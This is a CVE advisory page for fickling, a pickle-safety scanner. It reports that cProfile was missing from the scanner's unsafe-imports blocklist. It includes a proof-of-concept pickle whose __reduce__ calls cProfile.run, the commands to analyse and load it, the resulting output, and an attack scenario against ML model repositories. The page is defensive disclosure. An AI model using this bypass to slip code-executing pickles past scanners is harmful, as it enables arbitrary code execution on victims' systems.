CVE-2026-22607 — Vulnerability in fickling — CVE Details

# Fickling's assessment `cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43). # Original report ## Description ### Summary Fickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. ### Details The `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types). Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx` Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `cProfile` How the bypass works: 1. Attacker creates a pickle using `cProfile.run()` in `__reduce__` 2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run) 3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous 4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity 5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec` Tested behavior (fickling 0.1.6): | Function | Fickling Severity | RCE Capable | |----------|-------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | cProfile.run | SUSPICIOUS | Yes ← BYPASS | | cProfile.runctx | SUSPICIOUS | Yes ← BYPASS | Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - `cProfile` - `cProfile.run` - `cProfile.runctx` - `_lsprof` (underlying C module) ## PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip) ### Step 1: Create malicious pickle ```python import pickle import cProfile class MaliciousPayload: def __reduce__(self): return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",)) with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f) ``` ### Step 2: Analyze with fickling ```python from fickling.fickle import Pickled from fickling.analysis import check_safety with open('malicious.pkl', 'rb') as f: data = f.read() pickled = Pickled.load(data) result = check_safety(pickled) print(f"Severity: {result.severity}") print(f"Analysis: {result}") ``` Expected output (if properly detected): ``` Severity: Severity.OVERTLY_MALICIOUS ``` Actual output (bypass confirmed): ``` Severity: Severity.SUSPICIOUS Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file ``` ### Step 3: Prove RCE by loading the pickle ```bash python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))" ``` Output ``` CPROFILE_RCE_CONFIRMED 4 function calls in 0.000 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.000 0.000 <string>:1(<module>) 1 0.000 0.000 0.000 0.000 {built-in method builtins.exec} 1 0.000 0.000 0.000 0.000 {built-in method builtins.print} 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} ``` Check: The code executes, proving RCE. ### Pickle disassembly (evidence): ``` 0: \x80 PROTO 5 2: \x95 FRAME 58 11: \x8c SHORT_BINUNICODE 'cProfile' 21: \x94 MEMOIZE (as 0) 22: \x8c SHORT_BINUNICODE 'run' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')" 63: \x94 MEMOIZE (as 3) 64: \x85 TUPLE1 65: \x94 MEMOIZE (as 4) 66: R REDUCE 67: \x94 MEMOIZE (as 5) 68: . STOP highest protocol among opcodes = 4 ``` ## Impact Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502). Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: - ML model validation pipelines - Model hosting platforms (Hugging Face, MLflow, etc.) - Security scanning tools that use fickling - CI/CD pipelines that validate pickle artifacts Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system. Why cProfile.run() is dangerous: Unlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes "a single argument that can be passed to the exec() function". `cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations. Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with cProfile - Attack is fully self-contained (no external files needed) - cProfile is more commonly used than profile, increasing attack surface